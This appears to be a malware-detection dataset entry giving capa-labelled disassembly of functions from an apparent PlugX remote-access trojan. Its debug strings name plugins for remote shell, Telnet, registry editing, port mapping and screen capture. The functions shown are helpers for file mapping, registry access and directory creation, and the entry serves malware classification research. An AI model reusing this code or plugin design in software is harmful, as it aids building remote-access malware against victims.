joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010e20
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10030fd4], 0
push esi
jne 0x10010ec4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x10010e7a
lea edx, [eax + 0x21]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugNethood.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10030fd4], eax
test eax, eax
jne 0x10010ea8
push eax
lea edx, [eax + 0x26]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugNethood.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10010ec4
push eax
lea edx, [eax + 0x2b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugNethood.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10030fd4]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10011260
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10030ff4], 0
push esi
jne 0x10011304
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x100112ba
lea edx, [eax + 0x21]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugNetstat.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10030ff4], eax
test eax, eax
jne 0x100112e8
push eax
lea edx, [eax + 0x26]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugNetstat.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10011304
push eax
lea edx, [eax + 0x2b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugNetstat.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10030ff4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100122b0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031000], 0
push esi
jne 0x10012354
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x1001230a
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugOption.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031000], eax
test eax, eax
jne 0x10012338
push eax
lea edx, [eax + 0x25]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugOption.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10012354
push eax
lea edx, [eax + 0x2a]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugOption.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031000]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10012670
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031004], 0
push esi
jne 0x10012714
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x100126ca
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugPortMap.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031004], eax
test eax, eax
jne 0x100126f8
push eax
lea edx, [eax + 0x25]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugPortMap.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10012714
push eax
lea edx, [eax + 0x2a]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugPortMap.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031004]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10012ab0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031018], 0
push esi
jne 0x10012b54
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x10012b0a
lea edx, [eax + 0x21]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugProcess.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031018], eax
test eax, eax
jne 0x10012b38
push eax
lea edx, [eax + 0x26]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugProcess.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10012b54
push eax
lea edx, [eax + 0x2b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugProcess.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031018]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100147c0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031030], 0
push esi
jne 0x10014864
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x1001481a
lea edx, [eax + 0x21]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031030], eax
test eax, eax
jne 0x10014848
push eax
lea edx, [eax + 0x26]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10014864
push eax
lea edx, [eax + 0x2b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031030]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10015230
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, edx
mov dword [ebp - 0x14], ecx
push edi
cmp dword [esi + 0x10], 0
lea eax, [esi + 0x1e]
mov dword [ebp - 0x10], eax
je 0x1001533d
movzx ebx, word [eax]
lea ecx, [ebp - 4]
movzx eax, word [esi + 0x1c]
add ebx, 0x10
push ecx
push 0x20019
add eax, 0x10
mov dword [ebp - 4], 0
push 0
add eax, esi
add ebx, esi
push eax
push dword [esi + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, eax
test ecx, ecx
je 0x10015289
mov edx, dword [ebp - 0x18]
lea ebx, [esi + 0xc]
jmp 0x100152f9
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
push 0
push 0
push 0
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, eax
lea ebx, [esi + 0xc]
mov dword [ebp - 8], ecx
test ecx, ecx
je 0x100152cb
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, 2
cmove eax, edx
mov dword [ebp - 0xc], eax
xor eax, eax
cmp ecx, 2
cmovne eax, ecx
mov dword [ebp - 8], eax
jmp 0x100152d2
mov dword [ebp - 0xc], 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x100152f3
push 0
mov edx, 0x2cf
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
xor eax, eax
test ecx, ecx
cmove eax, edx
test eax, eax
je 0x10015343
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x9005
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call fcn.100147c0
push 0x7530
push esi
push dword [ebp - 0x14]
mov eax, dword [eax + 0x38]
call eax
test eax, eax
jne 0x100153b5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x10], eax
lea ebx, [esi + 0xc]
movzx eax, word [esi + 0x20]
push dword [esi + 0x18]
movzx edx, word [esi + 0x1c]
add eax, 0x10
mov ecx, dword [ebx]
add eax, esi
push eax
mov eax, dword [ebp - 0x10]
add edx, 0x10
push dword [esi + 0x14]
add edx, esi
movzx eax, word [eax]
add eax, 0x10
add eax, esi
push eax
call fcn.100155e0
mov edi, eax
add esp, 0x10
test edi, edi
je 0x1001538c
push 0
mov edx, 0x1e3
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
mov dword [esi], 0x20120123
mov dword [esi + 4], 0x9005
mov dword [ebx], edi
mov dword [esi + 8], 0
call fcn.100147c0
push 0x7530
push esi
push dword [ebp - 0x14]
mov eax, dword [eax + 0x38]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100155e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1001565f
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test esi, esi
je 0x1001563b
push 0
mov edx, 0x26c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x1001565c
push 0
mov edx, 0x271
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugRegedit.cpp
call fcn.10024152
add esp, 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10015670
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031034], 0
push esi
jne 0x10015714
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x100156ca
lea edx, [eax + 0x35]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugScreen.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031034], eax
test eax, eax
jne 0x100156f8
push eax
lea edx, [eax + 0x3a]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugScreen.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10015714
push eax
lea edx, [eax + 0x3f]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugScreen.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031034]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10017350
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031038], 0
push esi
jne 0x100173f4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x100173aa
lea edx, [eax + 0x21]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugService.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031038], eax
test eax, eax
jne 0x100173d8
push eax
lea edx, [eax + 0x26]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugService.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x100173f4
push eax
lea edx, [eax + 0x2b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugService.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031038]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100184a0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031044], 0
push esi
jne 0x10018544
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x100184fa
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031044], eax
test eax, eax
jne 0x10018528
push eax
lea edx, [eax + 0x25]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10018544
push eax
lea edx, [eax + 0x2a]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugShell.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031044]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100193e0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10031048], 0
push esi
jne 0x10019484
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x1001943a
lea edx, [eax + 0x21]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugSQL.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10031048], eax
test eax, eax
jne 0x10019468
push eax
lea edx, [eax + 0x26]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugSQL.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x10019484
push eax
lea edx, [eax + 0x2b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugSQL.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10031048]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10019ff0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x1003104c], 0
push esi
jne 0x1001a094
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x1001a04a
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1003104c], eax
test eax, eax
jne 0x1001a078
push eax
lea edx, [eax + 0x25]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1001a094
push eax
lea edx, [eax + 0x2a]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugTelnet.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x1003104c]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001adc0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 0x2002
mov dword [ebp - 4], edi
call fcn.10027bda
mov esi, eax
add esp, 4
test esi, esi
jne 0x1001ae05
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
mov edi, 8
lea edx, [esi + 0x1b]
push edi
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 8
jmp 0x1001ae65
push 0x1000
push esi
mov word [esi + 0x2000], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1001ae39
push eax
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1001ae65
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov ecx, edi
add ebx, ebx
push ebx
call fcn.100064b0
mov edi, eax
test edi, edi
je 0x1001ae72
push edi
mov edx, 0x25
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
test esi, esi
jne 0x1001ae9d
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 4]
cmp ebx, dword [edi]
jle 0x1001ae8d
push 0
mov edx, 0x4d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [edi + 4]
mov edx, esi
push ebx
call fcn.1002427e
add esp, 4
xor edi, edi
push 1
push esi
call fcn.10027bcc
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001aec0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 0x2002
mov dword [ebp - 4], edi
call fcn.10027bda
mov esi, eax
add esp, 4
test esi, esi
jne 0x1001af05
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
mov edi, 8
lea edx, [esi + 0x31]
push edi
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 8
jmp 0x1001af65
push 0x1000
push esi
mov word [esi + 0x2000], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x1001af39
push eax
lea edx, [eax + 0x36]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1001af65
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
mov ecx, edi
add ebx, ebx
push ebx
call fcn.100064b0
mov edi, eax
test edi, edi
je 0x1001af72
push edi
mov edx, 0x3b
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
test esi, esi
jne 0x1001af9d
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 4]
cmp ebx, dword [edi]
jle 0x1001af8d
push 0
mov edx, 0x4d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [edi + 4]
mov edx, esi
push ebx
call fcn.1002427e
add esp, 4
xor edi, edi
push 1
push esi
call fcn.10027bcc
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001b190
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [edi], 0x5c
mov ebx, eax
jne 0x1001b1e5
cmp word [edi + 2], 0x5c
jne 0x1001b1e5
mov esi, 2
cmp ebx, esi
jle 0x1001b1c4
cmp word [edi + esi*2], 0x5c
je 0x1001b1c4
inc esi
cmp esi, ebx
jl 0x1001b1b8
inc esi
cmp esi, ebx
jge 0x1001b1dc
nop dword [eax]
cmp word [edi + esi*2], 0x5c
je 0x1001b200
inc esi
cmp esi, ebx
jl 0x1001b1d0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp word [edi + 2], 0x3a
jne 0x1001b25c
cmp word [edi + 4], 0x5c
jne 0x1001b25c
mov esi, 3
cmp esi, ebx
jge 0x1001b1dc
nop dword [eax]
cmp word [edi + esi*2], 0x5c
lea eax, [edi + esi*2]
mov dword [ebp - 4], eax
jne 0x1001b236
xor ecx, ecx
push ecx
push edi
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1001b22b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1001b244
lea eax, [edi + esi*2]
mov ecx, 0x5c
mov word [eax], cx
inc esi
cmp esi, ebx
jl 0x1001b200
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ecx, 0x5c
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
mov edx, 0xba
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov eax, 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret